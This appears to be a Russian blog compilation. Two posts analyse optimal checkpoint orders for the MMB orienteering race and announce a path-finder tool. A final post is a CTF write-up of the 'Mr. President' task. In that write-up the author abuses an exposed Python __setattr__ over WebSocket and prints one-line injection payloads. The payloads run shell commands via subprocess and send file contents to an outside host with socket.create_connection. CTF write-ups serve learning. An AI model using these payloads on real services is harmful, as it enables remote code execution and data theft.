Анализ участков выбора ММБ 2019 осень и релиз path-finder

Часть 1. Тулза

ММБ закончился уже давно, почему же я решил опубликовать анализ только сейчас?

Во-первых, потому выбор на всех этапах этого ММБ мне показался достаточно простым и сам по себе такой анализ не представлял для меня значительного интереса. Во-вторых, потому что скрипты, которыми я делал этот анализ прошлый раз были мягко говоря "недоделаны", их нужно было переписывать под новые карты, вспоминать что и как я написал, и почему все так криво ;)

Поэтому я решил уделить время не самому анализу, а переписыванию своих скриптов в вид полноценной тулзы, которую можно будет применять для такого анализа как для этого ММБ, так и для последующих.

Вспоминая реакцию на прошлый анализ я хочу перед ссылкой на тулзу заявить следующее: данная тулза предназначена для анализа ПОСЛЕ ФИНИША, для оценки принятых участниками на дистанции решений и не предназначена для использования во время соревнования.

Собственно ссылка на path-finder: https://github.com/sorokinpf/path-finder

 Часть 2. Анализ участков выбора ММБ 2019 осень

С помощью path-finder были построены топ-10 вариантов для каждого этапа выбора, они приведены ниже.

Все картинки кликабельны.

Выбор 6-СК

Карта
 

Варианты по длине в текстовом виде:

[6 8 9 7 11 10 14 15 18 17 13 12 16 19 20 21 22 SK] 18.696 км ((-0.000, 0.00%))
[6 8 9 7 11 10 14 15 18 21 22 20 17 13 12 16 19 SK] 18.709 км ((-0.013, 0.07%))
[6 8 9 7 10 11 15 14 18 17 13 12 16 19 20 21 22 SK] 18.778 км ((-0.083, 0.44%))
[6 8 9 7 10 11 15 14 18 21 22 20 17 13 12 16 19 SK] 18.792 км ((-0.096, 0.51%))
[6 8 9 7 11 10 15 14 18 17 13 12 16 19 20 21 22 SK] 18.804 км ((-0.108, 0.58%))
[6 8 9 7 11 10 15 14 18 21 22 20 17 13 12 16 19 SK] 18.817 км ((-0.121, 0.65%))
[6 8 9 7 10 11 15 14 13 12 16 17 18 21 22 20 19 SK] 19.014 км ((-0.319, 1.70%))
[6 8 9 7 11 10 15 14 13 12 16 17 18 21 22 20 19 SK] 19.040 км ((-0.344, 1.84%))
[6 8 9 7 10 11 14 15 18 17 13 12 16 19 20 21 22 SK] 19.054 км ((-0.358, 1.92%))
[6 8 9 7 10 11 14 15 18 21 22 20 17 13 12 16 19 SK] 19.067 км ((-0.371, 1.99%))

И в виде картинок:

1

2

3

4

5

6

7

8

9

10

То что порядок взятия 10 и 11 почти не важен если следующий 15, а так же то что 14 либо 15 берется радиалкой практически одинаковой длины создает большое количество практически одинаковых вариантов. 
Единственное что на мой взгляд стоит отметить - что варианты с выходом [18 21 22 20 17 13 12 16 19 SK] практически равнозначны вариантам [18 17 13 12 16 19 20 21 22 SK], хотя на мой глаз первые существенно лучше.

Выбор 23-34

Карта

Варианты по длине в текстовом виде:

[23 24 27 26 25 29 28 30 32 33 31 34] 17.906 км ((-0.000, 0.00%))
[23 24 27 31 26 25 29 28 30 32 33 34] 17.922 км ((-0.015, 0.09%))
[23 24 27 26 25 29 28 30 32 31 33 34] 18.185 км ((-0.279, 1.56%))
[23 24 31 27 26 25 29 28 30 32 33 34] 18.345 км ((-0.438, 2.45%))
[23 24 27 26 25 28 29 30 32 33 31 34] 18.536 км ((-0.629, 3.51%))
[23 24 27 31 26 25 28 29 30 32 33 34] 18.551 км ((-0.645, 3.60%))
[23 25 26 24 27 31 29 28 30 32 33 34] 18.575 км ((-0.669, 3.73%))
[23 25 28 30 32 29 26 24 27 31 33 34] 18.615 км ((-0.709, 3.96%))
[23 25 26 24 27 31 33 29 28 30 32 34] 18.709 км ((-0.803, 4.48%))
[23 24 27 26 29 25 28 30 32 33 31 34] 18.788 км ((-0.881, 4.92%))
 

 И в виде картинок:

1

2

3

4

5

6

7

8

9

10

Расположение 31 КП в этом выборе заставляет использовать крайне острый угол. Формально вариант с добиранием 31го в конце лучше, но болото сильно портит перегон 31-34 (возможно стоило на карте оставить участок к востоку от болота). Мы шли вторым вариантом, который всего на 16 метров хуже. Остальные варианты существенно хуже.

Выбор 42(41) - 52

Карты:

Карты две, потому что формально нужно все же рассмотреть вариант захода на этот выбор 41-45, хотя на дистанции оценивать такие варианты имя только линейку компаса в 6 см и карту с двух сторон одного листа крайне неудобно.

Варианты по длине в текстовом виде:

[41 42 43 46 49 48 47 44 45 50 51 52] 16.124 км ((-0.000, 0.00%))
[41 42 44 43 46 49 48 47 45 50 51 52] 16.499 км ((-0.375, 2.33%))
[41 42 45 50 47 44 43 46 49 48 51 52] 16.788 км ((-0.664, 4.12%))
[41 42 43 44 46 49 48 47 45 50 51 52] 16.854 км ((-0.731, 4.53%))
[41 42 43 44 45 50 47 46 49 48 51 52] 16.998 км ((-0.874, 5.42%))
[41 42 45 44 43 46 49 48 47 50 51 52] 17.053 км ((-0.930, 5.77%))
[41 42 44 47 48 49 46 43 45 50 51 52] 17.158 км ((-1.034, 6.42%))
[41 45 50 47 44 42 43 46 49 48 51 52] 17.159 км ((-1.036, 6.42%))
[41 42 43 46 44 45 50 47 49 48 51 52] 17.212 км ((-1.088, 6.75%))
[41 42 47 48 49 46 43 44 45 50 51 52] 17.228 км ((-1.104, 6.85%))
Как видно вариант с заходом на 45 в топе только 1. Для остальных картинок использован только одна карта:

1

2

3

4

5

6

7

 

8

9

10

На этом выборе хороший вариант был только один, остальные (включая заход с 45) были существенно хуже. Вариантов вообще было не много, о чем свидетельствует наличие петель в топе, и найти среди них лучший было не сложно.

Спасибо всем за внимание! Надеюсь кто-то все же сможет попробовать path-finder и дать какую то обратную связь и/или идеи по улучшению.

P.S. Размещение большого количества картинок на blogger.com - это боль. В следующий раз перейду наверно на medium.

Анализ участков выбора на ММБ 2018 осень

На досуге накатал программку, которая перебирает все варианты выбора последнего ММБ и соответственно выбирает лучшие.
Сначала написал тупой переборщик, он работал на самых длинных выборах этого ММБ примерно по часу. После этого добавил пару хаков, отсекающих заведомо плохие варианты, тем не менее не сужающих общности. После этого перебор стал занимать не более 30 секунд и стало можно уже поиграться, поанализировать по-разному.
Необходимо отметить что координаты КП я снимал с изображения карты путем нажатия мышкой в центр круга, поэтому небольшие неточности возможны.

Если кого заинтересует код здесь (простите, далеко не продакшн :) )

Выбор 4-17 (картинки clickable).

Топ-3 варианта:

[ 4  6 10 12 15 16 14 13 11  7  5  8  9 17] 13.529 км (-0.000, 0.00%)
[ 4  5  7  6 10 12 15 16 14 13 11  8  9 17] 13.731 км (-0.202, 1.49%)
[ 4  6  7  5  8  9 14 13 11 10 12 15 16 17] 13.979 км (-0.450, 3.33%)

По сути вариантов было 2, мы тут выбрали второй, 200 метров - довольно значительный проигрыш. Насколько мне известно, первый вариант нашли многие, в том числе лидеры. Обратите внимание на топ-3, имхо очень неожиданный вариант.

Выбор СК-28.

Топ-5 вариантов:

['sk' '19' '22' '23' '24' '20' '21' '25' '26' '27' '28'] 13.666 км (-0.000, 0.00%)
['sk' '21' '25' '26' '24' '20' '19' '22' '23' '27' '28'] 13.670 км (-0.003, 0.03%)
['sk' '20' '21' '25' '26' '24' '19' '22' '23' '27' '28'] 13.771 км (-0.105, 0.77%)
['sk' '20' '19' '22' '23' '24' '21' '25' '26' '27' '28'] 13.907 км (-0.241, 1.76%)
['sk' '21' '20' '19' '22' '23' '24' '25' '26' '27' '28'] 14.229 км (-0.562, 4.11%)

Тут мы выбрали первый вариант, но его длина практически не отличается от 2го.
Насколько я понял, многие воспользовались вариантом с заходом 20-19, который, то 4. Он на 240 метров хуже.

Выбор 32-ПФ.

4 КП тут на карте не обозначены и являются отражением имеющихся на карте КП 34 - 37 относительно большой ЛЭП.

Топ-5 вариантов:
[32 33 35 36' 37 34' 34 35' 36 37' pf] 11.109 км (-0.000, 0.00%)
[32 33 35' 35 36' 37 34' 34 36 37' pf] 11.247 км (-0.139, 1.25%)
[32 33 35 36' 37 34' 35' 36 34 37' pf] 11.359 км (-0.250, 2.25%)
[32 33 35' 36 35 36' 37 34' 34 37' pf] 11.362 км (-0.253, 2.28%)
[32 33 35' 35 36' 37 34' 34 37' 36 pf] 11.476 км (-0.367, 3.31%)

В этом раз наш выбор также был оптимальный. Он очень удачно ложился на удобные радиалки по дорогам к 36 и 35' с поля, что для меня неожиданно, обычно варианты с радиалками не оптимальные по птичке.

Выбор 40 - 53. Это самый интересный выбор, так как тут можно было пропустить два КП без штрафа.

ТОП-10 вариантов:

['40' '42' '43' '44' '48' '47' '46' '41' '45' '49' '51' '53'] ['50', '52'] 14.585 км (-0.000, 0.00%)
['40' '43' '42' '41' '45' '46' '47' '48' '50' '52' '51' '53'] ['44', '49'] 14.596 км (-0.011, 0.08%)
['40' '43' '42' '41' '46' '47' '48' '50' '52' '49' '51' '53'] ['44', '45'] 14.671 км (-0.087, 0.59%)
['40' '43' '42' '41' '45' '46' '47' '48' '50' '49' '51' '53'] ['44', '52'] 14.755 км (-0.171, 1.17%)
['40' '43' '42' '41' '45' '49' '46' '47' '48' '50' '52' '53'] ['44', '51'] 14.794 км (-0.209, 1.43%)
['40' '43' '42' '41' '46' '47' '48' '50' '49' '51' '52' '53'] ['44', '45'] 14.868 км (-0.283, 1.94%)
['40' '43' '42' '41' '46' '47' '44' '48' '50' '52' '51' '53'] ['45', '49'] 14.936 км (-0.351, 2.41%)
['40' '42' '41' '46' '47' '43' '44' '48' '50' '52' '51' '53'] ['45', '49'] 14.942 км (-0.357, 2.45%)
['40' '42' '43' '47' '46' '41' '45' '49' '50' '52' '51' '53'] ['44', '48'] 14.942 км (-0.357, 2.45%)
['40' '41' '46' '42' '43' '44' '48' '47' '50' '52' '51' '53'] ['45', '49'] 14.948 км (-0.363, 2.49%)

 Мы тут, как и многие, выбросили 44, 49. И это оказалось почти самым лучшим вариантом, примерно на 11 метров(!) хуже топ-1. Учитывая удобство захода на 42 по сравнению с 43, пожалуй это лучший вариант.

Я знаю, что многие заходили с 41 (победители тоже?), так вот - самый лучший вариант с 41 - только 10 в топе, да и обход по-моему такой никто не использовал. Это не менее 350м проигрыша.
ДБ выбросили также как и в лучшем варианте 50, 52, но они зашли с 43 и использовали другой порядок обхода, так что их вариант тоже прилично проигрывает.

Возможность выброса КП позволила получить больше хороших вариантов, тут топ-10 вариант всего на 2.5% хуже оптимального, тогда как на других выборах уже топ-5 отстает больше чем на 3%.


Вот в общем то и все. Если есть какие предложения, пожелания - рад выслушать.

Mr. President feedback write-up

Всем, привет.

Сайт выглядит так:

при нажатии на Submit мы улетаем на страницу /dev/null. Однако, при нажатиях Generate и Validate передаются WebSocket сообщения

{"method":"generate"}

и

{"method":"check","args":["b4a8cbfcb3ab417ad56c1e5a790fa79b","22"]}

Ответ на generate выглядит вот так:

{"result": {"text": " ____   ___            _  _   \n|___ \\ / _ \\          | || |  \n  __) | (_) |  _____  | || |_ \n / __/ \\__, | |_____| |__   _|\n|_____|  /_/             |_|  \n                              \n\n", "hash": "b4a8cbfcb3ab417ad56c1e5a790fa79b"}, "method": "generate", "status": "ok"} - это представление "капчи", которую надо разгадать. Если капчу разгадать правильно, то при нажатии на Validate выводится сообщение "Valid", в противном случае "Wrong".

Если поиграться с method, и передать какую то фигню, то выдается:

{"status": "error", "info": "'NoneType' object is not callable"}

Ага, значит там питон. Попробуем __dir__:

{"result": ["_server", "_port", "_table", "_sock", "__module__", "_last", "__init__", "reconnect", "operations", "generate", "check", "help", "__dict__", "__weakref__", "__doc__", "__repr__", "__hash__", "__str__", "__getattribute__", "__setattr__", "__delattr__", "__lt__", "__le__", "__eq__", "__ne__", "__gt__", "__ge__", "__new__", "__reduce_ex__", "__reduce__", "__subclasshook__", "__init_subclass__", "__format__", "__sizeof__", "__dir__", "__class__"], "method": "__dir__", "status": "ok"}

О, вот это уже интересно. Сразу видим, что есть _server и _port, а также метод reconnect. Видимо эта шарманка куда то коннектится. Также обращаем внимание на метод __setattr__. Пробуем подменить порт и сервер:

{"method":"__setattr__","args":["_server","cth-new.tk"]}

{"method":"__setattr__","args":["_port","8080"]}

И сделать реконнект:

{"method":"reconnect"}

Отлично, прилетел какой то коннект

Делаем теперь запрос на generate в браузере

Сначала прилетает запрос supported_operations. Если ввести через пробел несколько значений, то шарманка выбирает одно из них случайно и просит сделать translate для указанной строки (в данном случае 141 e 45). aaaaa - это мой ввод. После этого мы видим в браузере:

Возможно ту строчку, которую шарманка нам присылает второй раз, она исполняет. Проверим:

введем +1+, если она действительно исполняет, то правильный ответ будет 111.

Да, так и есть:

Видимо, мы можем исполнять произвольный Python-код. Ограничения такие - код надо записать в одну строчку и непонятно какие модули загружены.

Довольно быстро я понял что загружен модуль socket, который позволял коннектится на мой сервер.

С помощью метода create_connection можно установить соединение, при этом он вернет сокет. Это позволяет легко в одну строчку отправлять данные.

Указываем в качестве supported_operations:

+socket.create_connection(("cth-new.tk",4449)).sendall(bytes('fefefe'+'\n','utf-8'))+

и вуаля, отстук прилетел.

Теперь для исполнения команд в Python 3 можно вот так загрузить модуль subprocess:

__builtins__['__import__']('subprocess').check_output

В итоге флаг оказался в одном из файлов исходного кода arifmetics.py:

+socket.create_connection(("cth-new.tk",4449)).sendall(bytes(str(__builtins__['__import__']('subprocess').check_output('cat'+chr(32)+'arifmetics.py',shell=True))+'\n','utf-8'))+